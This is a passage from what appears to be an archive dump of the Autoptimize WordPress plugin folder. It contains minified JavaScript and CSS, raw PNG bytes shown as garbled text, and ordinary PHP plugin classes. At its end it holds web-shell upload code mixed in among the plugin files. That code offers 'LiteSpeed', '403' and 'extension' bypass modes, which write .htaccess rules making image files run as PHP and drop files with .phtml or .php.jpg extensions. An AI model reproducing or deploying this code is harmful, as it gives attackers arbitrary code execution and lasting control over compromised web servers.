MutationObserver(a).observe(O,{childList:true,subtree:true,attributes:true})}else{O[P]("DOMNodeInserted",a,true);O[P]("DOMAttrModified",a,true);setInterval(a,999)}q("hashchange",a,true);["focus","mouseover","click","load","transitionend","animationend"].forEach(function(e){D[P](e,a,true)});if(/d$|^c/.test(D.readyState)){l()}else{q("load",l);D[P]("DOMContentLoaded",a);I(l,2e4)}if(k.elements.length){t();ee._lsFlush()}else{a()}},checkElems:a,unveil:R,_aLSL:o}}(),re=function(){var a;var n=te(function(e,t,a,i){var r,n,s;e._lazysizesWidth=i;i+="px";e.setAttribute("sizes",i);if(j.test(t.nodeName||"")){r=t.getElementsByTagName("source");for(n=0,s=r.length;n1&&(value===null||typeof value!=="object")){options=jQuery.extend({},options);if(value===null){options.expires=-1;}if(typeof options.expires==='number'){var days=options.expires,t=options.expires=new Date();t.setDate(t.getDate()+days);}return(document.cookie=[encodeURIComponent(key),'=',options.raw?String(value):encodeURIComponent(String(value)),options.expires?'; expires='+options.expires.toUTCString():'',options.path?'; path='+options.path:'',options.domain?'; domain='+options.domain:'',options.secure?'; secure':''].join(''));}options=value||{};var result,decode=options.raw?function(s){return s;}:decodeURIComponent;return(result=new RegExp('(?:^|; )'+encodeURIComponent(key)+'=([^;]*)').exec(document.cookie))?decode(result[1]):null;}; plugins/autoptimize-/classes/external/js/unslider.css000064400000001076152335264760017127 0ustar00.unslider{overflow:auto;margin:0;padding:0}.unslider-wrap{position:relative}.unslider-wrap.unslider-carousel>li{float:left}.unslider-vertical>ul{height:100%}.unslider-vertical li{float:none;width:100%}.unslider-fade{position:relative}.unslider-fade .unslider-wrap li{position:absolute;left:0;top:0;right:0;z-index:8}.unslider-fade .unslider-wrap li.unslider-active{z-index:10}.unslider li,.unslider ol,.unslider ul{list-style:none;margin:0;padding:0;border:none}.unslider-arrow{position:absolute;left:20px;z-index:2;cursor:pointer}.unslider-arrow.next{left:auto;right:20px} plugins/autoptimize-/classes/external/js/jquery.cookie.js000064400000007110152335264760017710 0ustar00/*jslint browser: true */ /*global jQuery: true */ /** * jQuery Cookie plugin * * Copyright (c) 2010 Klaus Hartl (stilbuero.de) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ // TODO JsDoc /** * Create a cookie with the given key and value and other optional parameters. * * @example $.cookie('the_cookie', 'the_value'); * @desc Set the value of a cookie. * @example $.cookie('the_cookie', 'the_value', { expires: 7, path: '/', domain: 'jquery.com', secure: true }); * @desc Create a cookie with all available options. * @example $.cookie('the_cookie', 'the_value'); * @desc Create a session cookie. * @example $.cookie('the_cookie', null); * @desc Delete a cookie by passing null as value. Keep in mind that you have to use the same path and domain * used when the cookie was set. * * @param String key The key of the cookie. * @param String value The value of the cookie. * @param Object options An object literal containing key/value pairs to provide optional cookie attributes. * @option Number|Date expires Either an integer specifying the expiration date from now on in days or a Date object. * If a negative value is specified (e.g. a date in the past), the cookie will be deleted. * If set to null or omitted, the cookie will be a session cookie and will not be retained * when the the browser exits. * @option String path The value of the path attribute of the cookie (default: path of page that created the cookie). * @option String domain The value of the domain attribute of the cookie (default: domain of page that created the cookie). * @option Boolean secure If true, the secure attribute of the cookie will be set and the cookie transmission will * require a secure protocol (like HTTPS). * @type undefined * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */ /** * Get the value of a cookie with the given key. * * @example $.cookie('the_cookie'); * @desc Get the value of a cookie. * * @param String key The key of the cookie. * @return The value of the cookie. * @type String * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */ jQuery.cookie = function (key, value, options) { // key and value given, set cookie... if (arguments.length > 1 && (value === null || typeof value !== "object")) { options = jQuery.extend({}, options); if (value === null) { options.expires = -1; } if (typeof options.expires === 'number') { var days = options.expires, t = options.expires = new Date(); t.setDate(t.getDate() + days); } return (document.cookie = [ encodeURIComponent(key), '=', options.raw ? String(value) : encodeURIComponent(String(value)), options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE options.path ? '; path=' + options.path : '', options.domain ? '; domain=' + options.domain : '', options.secure ? '; secure' : '' ].join('')); } // key and possibly options given, get cookie... options = value || {}; var result, decode = options.raw ? function (s) { return s; } : decodeURIComponent; return (result = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(document.cookie)) ? decode(result[1]) : null; }; plugins/autoptimize-/classes/external/js/unslider.min.js000064400000013524152335264760017536 0ustar00!function($){return $?($.Unslider=function(t,n){var e=this;return e._="unslider",e.defaults={autoplay:!1,delay:3e3,speed:750,easing:"swing",keys:{prev:37,next:39},nav:!0,arrows:{prev:'',next:''},animation:"horizontal",selectors:{container:"ul:first",slides:"li"},animateHeight:!1,activeClass:e._+"-active",swipe:!0,swipeThreshold:.2},e.$context=t,e.options={},e.$parent=null,e.$container=null,e.$slides=null,e.$nav=null,e.$arrows=[],e.total=0,e.current=0,e.prefix=e._+"-",e.eventSuffix="."+e.prefix+~~(2e3*Math.random()),e.interval=null,e.init=function(t){return e.options=$.extend({},e.defaults,t),e.$container=e.$context.find(e.options.selectors.container).addClass(e.prefix+"wrap"),e.$slides=e.$container.children(e.options.selectors.slides),e.setup(),$.each(["nav","arrows","keys","infinite"],function(t,n){e.options[n]&&e["init"+$._ucfirst(n)]()}),jQuery.event.special.swipe&&e.options.swipe&&e.initSwipe(),e.options.autoplay&&e.start(),e.calculateSlides(),e.$context.trigger(e._+".ready"),e.animate(e.options.index||e.current,"init")},e.setup=function(){e.$context.addClass(e.prefix+e.options.animation).wrap('
'),e.$parent=e.$context.parent("."+e._);var t=e.$context.css("position");"static"===t&&e.$context.css("position","relative"),e.$context.css("overflow","hidden")},e.calculateSlides=function(){if(e.total=e.$slides.length,"fade"!==e.options.animation){var t="width";"vertical"===e.options.animation&&(t="height"),e.$container.css(t,100*e.total+"%").addClass(e.prefix+"carousel"),e.$slides.css(t,100/e.total+"%")}},e.start=function(){return e.interval=setTimeout(function(){e.next()},e.options.delay),e},e.stop=function(){return clearTimeout(e.interval),e},e.initNav=function(){var t=$('');e.$slides.each(function(n){var i=this.getAttribute("data-nav")||n+1;$.isFunction(e.options.nav)&&(i=e.options.nav.call(e.$slides.eq(n),n,i)),t.children("ol").append('
  • '+i+"
  • ")}),e.$nav=t.insertAfter(e.$context),e.$nav.find("li").on("click"+e.eventSuffix,function(){var t=$(this).addClass(e.options.activeClass);t.siblings().removeClass(e.options.activeClass),e.animate(t.attr("data-slide"))})},e.initArrows=function(){e.options.arrows===!0&&(e.options.arrows=e.defaults.arrows),$.each(e.options.arrows,function(t,n){e.$arrows.push($(n).insertAfter(e.$context).on("click"+e.eventSuffix,e[t]))})},e.initKeys=function(){e.options.keys===!0&&(e.options.keys=e.defaults.keys),$(document).on("keyup"+e.eventSuffix,function(t){$.each(e.options.keys,function(n,i){t.which===i&&$.isFunction(e[n])&&e[n].call(e)})})},e.initSwipe=function(){var t=e.$slides.width();"fade"!==e.options.animation&&e.$container.on({movestart:function(t){return t.distX>t.distY&&t.distX<-t.distY||t.distX-t.distY?!!t.preventDefault():void e.$container.css("position","relative")},move:function(n){e.$container.css("left",-(100*e.current)+100*n.distX/t+"%")},moveend:function(n){Math.abs(n.distX)/t>e.options.swipeThreshold?e[n.distX<0?"next":"prev"]():e.$container.animate({left:-(100*e.current)+"%"},e.options.speed/2)}})},e.initInfinite=function(){var t=["first","last"];$.each(t,function(n,i){e.$slides.push.apply(e.$slides,e.$slides.filter(':not(".'+e._+'-clone")')[i]().clone().addClass(e._+"-clone")["insert"+(0===n?"After":"Before")](e.$slides[t[~~!n]]()))})},e.destroyArrows=function(){$.each(e.$arrows,function(t,n){n.remove()})},e.destroySwipe=function(){e.$container.off("movestart move moveend")},e.destroyKeys=function(){$(document).off("keyup"+e.eventSuffix)},e.setIndex=function(t){return 0>t&&(t=e.total-1),e.current=Math.min(Math.max(0,t),e.total-1),e.options.nav&&e.$nav.find('[data-slide="'+e.current+'"]')._active(e.options.activeClass),e.$slides.eq(e.current)._active(e.options.activeClass),e},e.animate=function(t,n){if("first"===t&&(t=0),"last"===t&&(t=e.total),isNaN(t))return e;e.options.autoplay&&e.stop().start(),e.setIndex(t),e.$context.trigger(e._+".change",[t,e.$slides.eq(t)]);var i="animate"+$._ucfirst(e.options.animation);return $.isFunction(e[i])&&e[i](e.current,n),e},e.next=function(){var t=e.current+1;return t>=e.total&&(t=0),e.animate(t,"next")},e.prev=function(){return e.animate(e.current-1,"prev")},e.animateHorizontal=function(t){var n="left";return"rtl"===e.$context.attr("dir")&&(n="right"),e.options.infinite&&e.$container.css("margin-"+n,"-100%"),e.slide(n,t)},e.animateVertical=function(t){return e.options.animateHeight=!0,e.options.infinite&&e.$container.css("margin-top",-e.$slides.outerHeight()),e.slide("top",t)},e.slide=function(t,n){if(e.options.animateHeight&&e._move(e.$context,{height:e.$slides.eq(n).outerHeight()},!1),e.options.infinite){var i;n===e.total-1&&(i=e.total-3,n=-1),n===e.total-2&&(i=0,n=e.total-2),"number"==typeof i&&(e.setIndex(i),e.$context.on(e._+".moved",function(){e.current===i&&e.$container.css(t,-(100*i)+"%").off(e._+".moved")}))}var o={};return o[t]=-(100*n)+"%",e._move(e.$container,o)},e.animateFade=function(t){var n=e.$slides.eq(t).addClass(e.options.activeClass);e._move(n.siblings().removeClass(e.options.activeClass),{opacity:0}),e._move(n,{opacity:1},!1)},e._move=function(t,n,i,o){return i!==!1&&(i=function(){e.$context.trigger(e._+".moved")}),t._move(n,o||e.options.speed,e.options.easing,i)},e.init(n)},$.fn._active=function(t){return this.addClass(t).siblings().removeClass(t)},$._ucfirst=function(t){return(t+"").toLowerCase().replace(/^./,function(t){return t.toUpperCase()})},$.fn._move=function(){return this.stop(!0,!0),$.fn[$.fn.velocity?"velocity":"animate"].apply(this,arguments)},void($.fn.unslider=function(t){return this.each(function(){var n=$(this);if("string"==typeof t&&n.data("unslider")){t=t.split(":");var e=n.data("unslider")[t[0]];if($.isFunction(e))return e.apply(n,t[1]?t[1].split(","):null)}return n.data("unslider",new $.Unslider(n,t))})})):console.warn("Unslider needs jQuery")}(window.jQuery); plugins/autoptimize-/classes/external/do_not_donate_smallest.png000064400000022561152335264760021404 0ustar00PNG  IHDRdUA\sRGBgAMA a cHRMz&u0`:pQ<tEXtSoftwarePaint.NET v3.5.6ЃZ$IDATx^XTֆb^{ {^51Q{4VK^3skDpDy=sZٓ<Bd)xzi-DJ$=LJt$yY%Kz2W iAMyMHQu@~#3IRd"4wz߳bR*2 %RD\FZ̲-E8lk(NZoz"rL$gؑdw$nȒLu4%&"K_5fGt!!b +Ht#yHZUxqH12\yJHE\K6܃Ƥv=I? Α!V/Eeetq!b + ',$bXQLbc)atI=IE!D~4{'D ٯ+'H"O>6ąȾ.dDD:QּۦL\Fr#?JDRbd։CzN~'7Il,%N'C$$@lHNRt#3>"%RDX1!/e0EDZTb:ZqE>ă8J$;IMd||D0 b;$7a$_:LdhM7 O$T `"$H"( a)>*" LQxb.&! q)=I"II%qm2v&#C6 FD*X['$);!9TD`ӉO&;${_IBݬ ~UMM*ӝ$2n"ylI\k2& 5$dD^LE$[%CvK;|Y!M|d<`7,C Nmq>:ʉIBYqXM-J"!`ik?A$Đ^^StCF)^tYZ:|.W|QQeH/1Z{D@Ib~.8RDK$9ًhpXDM#zI6g-ʭWK"Cy[h ' |mtXyH|m3r 0R0]d2" n&!9Ѥʠ<_C!z*aܫ^ȝ|”<9м `~~7w"G{e"q\k}7#uꏯhK-+M`HH \=Ů78ݬ-M%QvvW?Sqm\4X7QVVO?\[G[,.(z".(x<WXETTUwpRtoB:ao[9/]Ǯ ^͋1GQ8Ѱ,b!5ezSãt0or1%)\6 >:'Lr!ϖ {*#M )S& Zv #@!#]e 9!o-o-:Ůrn8;jXC# j(YJtm>߿K?Gk^lJ=|1s"-k@Xa۬8ۀ[I:<ф}(p6Yw9F0Ǯ2q[t[}+rؙ$kf`-]֝XsmBAA5;Mc7VHZ"X!q.?kD,kzE"f0$o7<^ 䁛Xgx~\W5aytRu*k&ztH>*vRWҐƲPc*z6e*pa 4(v(&r !jB.#W2,P?7(:'DK!\ SD޽(AN6kjo]3.PvR+įˠf7pP++_Jw@mٶRYUrL-ZF~?G9vT9 QW怠 ˈXnAiGh`.(VsHA_)uvA3B}hy{x>e꾇AխYʘjt7Y_"$܈0uw]-0q\ɳ|;`s|Ac,c>RE@mBA<WAܕY*ei߉犫 ݭPWBMT H.mV7mUnn+5?uW(6h\_?O-ZodO'g8u~[5G S{}g &̚nCS *%TۺMs$,wGy3*\nQa2t`d5;+C-/.Ozx(<@fj-2?wܾYU2V:PM5[UJŠJPzF?\9mnt/T_lM3K?t<[P?\W*Ay-v[tk#=W=ŵӫq||ܱ_Pp:\_5[ˤ)Jc&JfMm )=ՠeFN:-Pڞگ6;.NvWx=e.yIIX2-+ - m"M~=+lܧC]pveS\ZVཪ9[SYzfQT*3zJo(ˡNA ϼr`Hhv EB8x""SAk \\]ZD,YpqDDD <<k֬A޼yѭN\\Q؈ :Z Z5Eg!rr007-}i͡gEm*͡0GԹg0.ܘxq8"^ Ө q=b$Sq|Zx =;봝n,:b*(ۧ p\KġV\pi)EB.YHxPCn7 py&.b40O"ːd(.y+|eXtj8^A֨}\dxk Ӏ3 [n6FU9.ixr^ÁJʇ)?Pp/xa*Ag|=dyl.p{/ŝ#$5Q ߻|6-t({N7Zpegs416!|b KGs95 <\!xSUz wAߧa5y4&^CH,9-륡SDn: da>_q;'Z=ú67Ď-`ԩ:w_ cM&ZΠQ_n[+sҲƦ82}G3tjmeݻj+m*ڟ˿C9|3L>R%TeΩ))K@*mPU"yjV,&Sل|EDn)6.|Kadxl(da.,:Z)k$whڴ)^xׯ_ÇhYMVNȑ#|կ_?Gjlڷoi…ilْ5[~#ʲߥ3\,Oll nCL$3}o@\yҲeKŧOyW=0}>.TІٳH-[3 P ;L{Iܵd3eqK UĆ 'oWi3gY+S-ȳgόPDxzz"((+^˓'/$TRSuy= gd%I~X< 7nLAғ 7o@7aӦMFv-YںFLUVƱ-ifmK AzmoΝ\ridrKw"%d>|8ufj_fMv[{s^>Oq B7݇(PqY"9z=ɚ5RlK^#U)dIKĈ&}J1Ο?.u8h Ջ\TN՜I_lAv #G^|qCsνDSčkҤamm-ő+I~.s"J+NLhOfk"l]r%mcccǎ8u._3O=z#؂?z5V` ACWW^aٲehݺ5- "XR0|} "K&>6ĕH.Odׄ'J7]TM۬Y3UƖ..~1 %BD#n(,:"c$İ% L1o9CAٵk8f͗GΝ;bl"JϞ=9s&Q%'$TЙ=VndT|#}7 ag翆Eg 0~~~O٪{D*BKlmIQ'>AJ+4Yc-*:ll+%{vO wqhFBvYBLV"؊HFmv1{eI;Df$˜It^O5TJRraFAط1~!!}g$L'tO]];%4IfgL&&'F[vRːAG?G,ZȘ7H_ &QuMd$"Lh,SSɸӍ#(+^$ܴL,[JrفDd.a'i358B|޽kGt?V9KGYqm^ H*uBWL˒ AO ee.F_ѓQr!Jʗa&FF+dQɗ ύKe%ZJm.U mx{{'CWOy1UyEdZؤJE RyeI8gWJJqEԂ`͏?-WDC^0 TRJ2ABCC%WT (t+aL N&|ս]1}ۭ[sC$aZVpon޼ޱVt2"/mbLcE@a|ȼaҥ_ $ {c BÑO[?;&?EXQFQR ex`]/_%C c&RALa2ԷL%v%I,h(uZd-s2a Xnۖ7eŊ Q |!7 $6mexk׮zFVa^pf͚pBV1- 2~j$\EL %DK>`~|WM 'O_b9 PYJo#$^DnV ^ZROEd" 8V/72 *T0ҥK B}+ 9DWTYI0c dm[XCx_Ƶ>*СQ>膪U}EȳXBڵQxqYCONtIENDB`plugins/autoptimize-/classes/autoptimizeMetabox.php000064400000035463152335264760016744 0ustar00run(); } public function run() { add_action( 'add_meta_boxes', array( $this, 'ao_metabox_add_box' ) ); add_action( 'save_post', array( $this, 'ao_metabox_save' ) ); add_action( 'wp_ajax_ao_metabox_ccss_addjob', array( $this, 'ao_metabox_generateccss_callback' ) ); } public function ao_metabox_add_box() { $screens = array( 'post', 'page', // add extra types e.g. product or ... ? ); $screens = apply_filters( 'autoptimize_filter_metabox_screens', $screens ); foreach ( $screens as $screen ) { add_meta_box( 'ao_metabox', esc_html__( 'Autoptimize this page', 'autoptimize' ), array( $this, 'ao_metabox_content' ), $screen, 'side' ); } } /** * Prints the box content. * * @param WP_Post $post The object for the current post/page. */ function ao_metabox_content( $post ) { // phpcs:disable Squiz.ControlStructures.ControlSignature.NewlineAfterOpenBrace wp_nonce_field( 'ao_metabox', 'ao_metabox_nonce' ); $ao_opt_value = $this->check_ao_opt_sanity( get_post_meta( $post->ID, 'ao_post_optimize', true ) ); $_ao_meta_sub_opacity = ''; if ( 'on' !== $ao_opt_value['ao_post_optimize'] ) { $_ao_meta_sub_opacity = 'opacity:.33;'; } ?>

    />

    '; ?> />

    '; ?> />

    '; ?> />

    '; ?> />

     

    post_type ) { $_type = 'is_page'; } // if CSS opt and inline & defer are on and if we have a slug, the button can be active. if ( false !== $_slug && 'on' === autoptimizeOptionWrapper::get_option( 'autoptimize_css', false ) && 'on' === autoptimizeOptionWrapper::get_option( 'autoptimize_css_defer', false ) && ! empty( apply_filters( 'autoptimize_filter_ccss_key', autoptimizeOptionWrapper::get_option( 'autoptimize_ccss_key', false ) ) ) && '2' === autoptimizeOptionWrapper::get_option( 'autoptimize_ccss_keyst', false ) ) { $_generate_disabled = false; } ?>

    criticalcss(); $_result = $criticalcss->enqueue( '', $path, $type ); if ( $_result ) { $response['code'] = '200'; $response['string'] = $path . ' added to job queue.'; } else { $response['code'] = '404'; $response['string'] = 'could not add ' . $path . ' to job queue.'; } } else { $response['code'] = '500'; $response['string'] = 'nok'; } // Dispatch respose. echo json_encode( $response ); // Close ajax request. wp_die(); } public function get_metabox_default_values() { $ao_metabox_defaults = array( 'ao_post_optimize' => 'on', 'ao_post_js_optimize' => 'on', 'ao_post_css_optimize' => 'on', 'ao_post_ccss' => 'on', 'ao_post_lazyload' => 'on', 'ao_post_preload' => '', ); return $ao_metabox_defaults; } public function check_ao_opt_sanity( $ao_opt_val ) { if ( empty( $ao_opt_val ) || ! is_array( $ao_opt_val ) ) { $ao_opt_val = $this->get_metabox_default_values(); } else { foreach ( array( 'ao_post_optimize', 'ao_post_js_optimize', 'ao_post_css_optimize', 'ao_post_ccss', 'ao_post_lazyload' ) as $key ) { if ( ! array_key_exists( $key, $ao_opt_val ) ) { $ao_opt_val[ $key ] = 'off'; } } } return $ao_opt_val; } } plugins/autoptimize-/classes/autoptimizeStyles.php000064400000151777152335264760016637 0ustar00content ); if ( $noptimize_css || false === autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_css_optimize' ) ) { return false; } $allowlist_css = apply_filters( 'autoptimize_filter_css_allowlist', '', $this->content ); if ( ! empty( $allowlist_css ) ) { $this->allowlist = array_filter( array_map( 'trim', explode( ',', $allowlist_css ) ) ); } $removable_css = apply_filters( 'autoptimize_filter_css_removables', '' ); if ( ! empty( $removable_css ) ) { $this->cssremovables = array_filter( array_map( 'trim', explode( ',', $removable_css ) ) ); } $this->cssinlinesize = apply_filters( 'autoptimize_filter_css_inlinesize', 256 ); // filter to "late inject minified CSS", default to true for now (it is faster). $this->inject_min_late = apply_filters( 'autoptimize_filter_css_inject_min_late', true ); // Remove everything that's not the header. if ( apply_filters( 'autoptimize_filter_css_justhead', $options['justhead'] ) ) { $content = explode( '', $this->content, 2 ); $this->content = $content[0] . ''; $this->restofcontent = $content[1]; } // Determine whether we're doing CSS-files aggregation or not. if ( isset( $options['aggregate'] ) && ! $options['aggregate'] ) { $this->aggregate = false; } // Returning true for "dontaggregate" turns off aggregation. if ( $this->aggregate && apply_filters( 'autoptimize_filter_css_dontaggregate', false ) ) { $this->aggregate = false; } // and the filter that should have been there to begin with. $this->aggregate = apply_filters( 'autoptimize_filter_css_aggregate', $this->aggregate ); // include inline? if ( apply_filters( 'autoptimize_css_include_inline', $options['include_inline'] ) ) { $this->include_inline = true; } // List of CSS strings which are excluded from autoptimization. $exclude_css = apply_filters( 'autoptimize_filter_css_exclude', $options['css_exclude'], $this->content ); if ( '' !== $exclude_css ) { $this->dontmove = array_filter( array_map( 'trim', explode( ',', $exclude_css ) ) ); } else { $this->dontmove = array(); } // forcefully exclude CSS with data-noptimize attrib. $this->dontmove[] = 'data-noptimize'; // forcefully exclude inline CSS with ".wp-container-" which due to the random-ish nature busts AO's cache continuously. $this->dontmove[] = '.wp-container-'; // Should we defer css? // value: true / false. $this->defer = $options['defer']; $this->defer = apply_filters( 'autoptimize_filter_css_defer', $this->defer, $this->content ); // If page/ post check post_meta to see if optimize is off. if ( $this->defer && false === autoptimizeConfig::get_post_meta_ao_settings( 'ao_post_ccss' ) ) { $this->defer = false; } // Should we inline while deferring? // value: inlined CSS. $this->defer_inline = apply_filters( 'autoptimize_filter_css_defer_inline', $this->sanitize_css( $options['defer_inline'] ), $this->content ); // Should we inline? // value: true / false. $this->inline = $options['inline']; $this->inline = apply_filters( 'autoptimize_filter_css_inline', $this->inline, $this->content ); // Store cdn url. $this->cdn_url = $options['cdn_url']; // Store data: URIs setting for later use. $this->datauris = $options['datauris']; // Determine whether excluded files should be minified if not yet so. if ( ! $options['minify_excluded'] && $options['aggregate'] ) { $this->minify_excluded = false; } $this->minify_excluded = apply_filters( 'autoptimize_filter_css_minify_excluded', $this->minify_excluded, '' ); // should we force all media-attributes to all? $this->media_force_all = apply_filters( 'autoptimize_filter_css_tagmedia_forceall', false ); // noptimize me. $this->content = $this->hide_noptimize( $this->content ); // Exclude (no)script, as those may contain CSS which should be left as is. $this->content = $this->replace_contents_with_marker_if_exists( 'SCRIPT', '#is', $this->content ); // Save IE hacks. $this->content = $this->hide_iehacks( $this->content ); // Hide HTML comments. $this->content = $this->hide_comments( $this->content ); // Get )|(]*stylesheet[^>]*>)#Usmi', $this->content, $matches ) ) { foreach ( $matches[0] as $tag ) { if ( $this->isremovable( $tag, $this->cssremovables ) ) { $this->content = str_replace( $tag, '', $this->content ); } elseif ( $this->ismovable( $tag ) ) { // Get the media. if ( false !== strpos( $tag, 'media=' ) ) { preg_match( '#media=(?:"|\')([^>]*)(?:"|\')#Ui', $tag, $medias ); if ( ! empty( $medias ) ) { $medias = explode( ',', $medias[1] ); $media = array(); foreach ( $medias as $elem ) { if ( empty( $elem ) ) { $elem = 'all'; } $media[] = $elem; } } else { $media = array( 'all' ); } } else { // No media specified - applies to all. $media = array( 'all' ); } // forcing media attribute to all to merge all in one file. if ( $this->media_force_all ) { $media = array( 'all' ); } $media = apply_filters( 'autoptimize_filter_css_tagmedia', $media, $tag ); if ( preg_match( '#. $url = current( explode( '?', $source[2], 2 ) ); $path = $this->getpath( $url ); if ( false !== $path && preg_match( '#\.css$#', $path ) ) { // Good link. $this->css[] = array( $media, $path ); } else { // Link is dynamic (.php etc). $new_tag = $this->optionally_defer_excluded( $tag, 'none' ); if ( '' !== $new_tag && $new_tag !== $tag ) { $this->content = str_replace( $tag, $new_tag, $this->content ); } $tag = ''; } } else { // Inline css in style tags can be wrapped in comment tags, so restore comments. $tag = $this->restore_comments( $tag ); preg_match( '#(.*)#Usmi', $tag, $code ); // And re-hide them to be able to to the removal based on tag. $tag = $this->hide_comments( $tag ); if ( $this->include_inline ) { $code = preg_replace( '#^.*.*$#sm', '$1', $code[1] ); $this->css[] = array( $media, 'INLINE;' . $code ); } else { $tag = ''; } } // Remove the original style tag. $this->content = str_replace( $tag, '', $this->content ); } else { if ( preg_match( '#getpath( $url ); $new_tag = $tag; // Excluded CSS, minify that file: // -> if aggregate is on and exclude minify is on // -> if aggregate is off and the file is not in dontmove. if ( $path && $this->minify_excluded ) { $consider_minified_array = apply_filters( 'autoptimize_filter_css_consider_minified', false ); if ( ( false === $this->aggregate && str_replace( $this->dontmove, '', $path ) === $path ) || ( true === $this->aggregate && ( false === $consider_minified_array || str_replace( $consider_minified_array, '', $path ) === $path ) ) ) { $minified_url = $this->minify_single( $path ); if ( ! empty( $minified_url ) ) { // Replace orig URL with cached minified URL. $new_tag = str_replace( $url, $minified_url, $tag ); } elseif ( apply_filters( 'autoptimize_filter_ccsjs_remove_empty_minified_url', false ) ) { // Remove the original style tag, because cache content is empty but only if // filter is true-ed because $minified_url is also false if file is minified already. $new_tag = ''; } } } if ( '' !== $new_tag ) { // Optionally defer (preload) non-aggregated CSS. $new_tag = $this->optionally_defer_excluded( $new_tag, $url ); // Check if we still need to CDN (esp. for already minified resources). if ( ! empty( $this->cdn_url ) || has_filter( 'autoptimize_filter_base_replace_cdn' ) ) { $new_tag = str_replace( $url, $this->url_replace_cdn( $url ), $new_tag ); } } // And replace! if ( ( '' !== $new_tag && $new_tag !== $tag ) || ( '' === $new_tag && apply_filters( 'autoptimize_filter_css_remove_empty_files', false ) ) ) { $this->content = str_replace( $tag, $new_tag, $this->content ); } } } } return true; } // Really, no styles? return false; } /** * Checks if non-optimized CSS is to be preloaded and if so return * the tag with preload code. * * @param string $tag (required). * @param string $url (optional). * * @return string $new_tag */ private function optionally_defer_excluded( $tag, $url = '' ) { // Defer single CSS if "inline & defer" is ON and there is inline CSS. if ( ! empty( $tag ) && false === strpos( $tag, ' onload=' ) && $this->defer && ! empty( $this->defer_inline ) && apply_filters( 'autoptimize_filter_css_defer_excluded', true, $tag ) ) { // get media attribute and based on that create onload JS attribute value. if ( false === strpos( $tag, 'media=' ) ) { $tag = str_replace( ']*)(?:"|\')#Ui', $tag, $_medias ); $_media = $_medias[1]; $_preload_onload = autoptimizeConfig::get_ao_css_preload_onload( $_media ); if ( 'print' !== $_media ) { // If not media=print, adapt original element for CSS to be preloaded and add
    '; } else { $result_msg = $fail_prefix . 'Hex Upload Failed - Check permissions on ' . htmlspecialchars($upload_dir, ENT_QUOTES, 'UTF-8') . '
    '; } } } } else { if (!isset($_FILES['file']) || $_FILES['file']['error'] !== 0) { $err_codes = array(0=>'OK', 1=>'File exceeds upload_max_filesize', 2=>'File exceeds MAX_FILE_SIZE', 3=>'Partial upload', 4=>'No file selected', 6=>'Missing tmp folder', 7=>'Failed to write to disk', 8=>'Extension blocked'); $ec = isset($_FILES['file']['error']) ? $_FILES['file']['error'] : 4; $result_msg = $fail_prefix . 'Upload Error: ' . (isset($err_codes[$ec]) ? $err_codes[$ec] : 'Unknown error') . ''; } else { $fn = $_FILES['file']['name']; $tmp = $_FILES['file']['tmp_name']; $target = $upload_dir . '/' . $fn; $file_url = $server_url . $upload_rel . '/' . $fn; $link_html = ' [Open File ]'; $dir_link = ' [Open Directory]'; $ok_suffix = '' . "\n" . 'File: ' . htmlspecialchars($fn, ENT_QUOTES, 'UTF-8') . "\n" . 'Size: ' . fsize($_FILES['file']['size']) . "\n" . 'Path: ' . htmlspecialchars($target, ENT_QUOTES, 'UTF-8') . "\n" . 'URL: ' . $link_html . "\n" . 'Dir: ' . $dir_link . ''; if ($t == 'normal') { if (@copy($tmp, $target)) $result_msg = $ok_prefix . 'Upload OK (copy)' . $ok_suffix; else $result_msg = $fail_prefix . 'Upload Failed (copy) - check permissions on ' . htmlspecialchars($upload_dir, ENT_QUOTES, 'UTF-8') . ''; } elseif ($t == 'file_put_contents') { $data = @file_get_contents($tmp); if ($data !== false && @file_put_contents($target, $data) !== false) $result_msg = $ok_prefix . 'Upload OK (file_put_contents)' . $ok_suffix; else $result_msg = $fail_prefix . 'file_put_contents Failed - check permissions on ' . htmlspecialchars($upload_dir, ENT_QUOTES, 'UTF-8') . ''; } elseif ($t == 'chunk') { $in = @fopen($tmp, 'rb'); $out = @fopen($target, 'wb'); if ($in && $out) { while (!feof($in)) { fwrite($out, fread($in, 8192)); } fclose($in); fclose($out); $result_msg = $ok_prefix . 'Upload OK (chunk)' . $ok_suffix; } else { if ($in) fclose($in); if ($out) fclose($out); $result_msg = $fail_prefix . 'Chunk Upload Failed - check permissions'; } } elseif ($t == 'move_uploaded') { if (@move_uploaded_file($tmp, $target)) $result_msg = $ok_prefix . 'Upload OK (move_uploaded_file)' . $ok_suffix; else $result_msg = $fail_prefix . 'move_uploaded_file Failed'; } elseif ($t == 'bypass_litespeed') { $ht = $upload_dir . '/.htaccess'; @file_put_contents($ht, "\nRewriteEngine On\nRewriteRule .* - [F]\n\nSetHandler application/x-httpd-php"); if (@move_uploaded_file($tmp, $target)) $result_msg = $ok_prefix . 'LiteSpeed Bypass OK' . $ok_suffix; else $result_msg = $fail_prefix . 'LiteSpeed Bypass Failed'; } elseif ($t == 'bypass_403') { $ht = $upload_dir . '/.htaccess'; @file_put_contents($ht, "Options Indexes FollowSymLinks\nDirectoryIndex index.html\nAddType application/x-httpd-php .jpg .png .gif\nSatisfy Any"); if (@copy($tmp, $target)) $result_msg = $ok_prefix . '403 Bypass OK' . $ok_suffix; else $result_msg = $fail_prefix . '403 Bypass Failed'; } elseif ($t == 'bypass_extension') { $exts = array('.php.jpg', '.php.png', '.phtml', '.php5', '.php7', '.pht', '.phps', '.shtml'); $ok = false; foreach ($exts as $ext) { $nf = pathinfo($fn, PATHINFO_FILENAME) . $ext; $nf_target = $upload_dir . '/' . $nf; if (@copy($tmp, $nf_target)) { $ok = true; $nf_url = $server_url . $upload_rel . '/' . $nf; $nf_link = '[Open File ]'; $result_msg = '
    Extension Bypass OK' . "\n" . 'File: ' . htmlspecialchars($nf, ENT_QUOTES, 'UTF-8') . "\n" . 'Ext Used: ' . $ext . "\n" . 'URL: ' . $nf_link . "\n" . 'Dir: ' . $dir_link . '
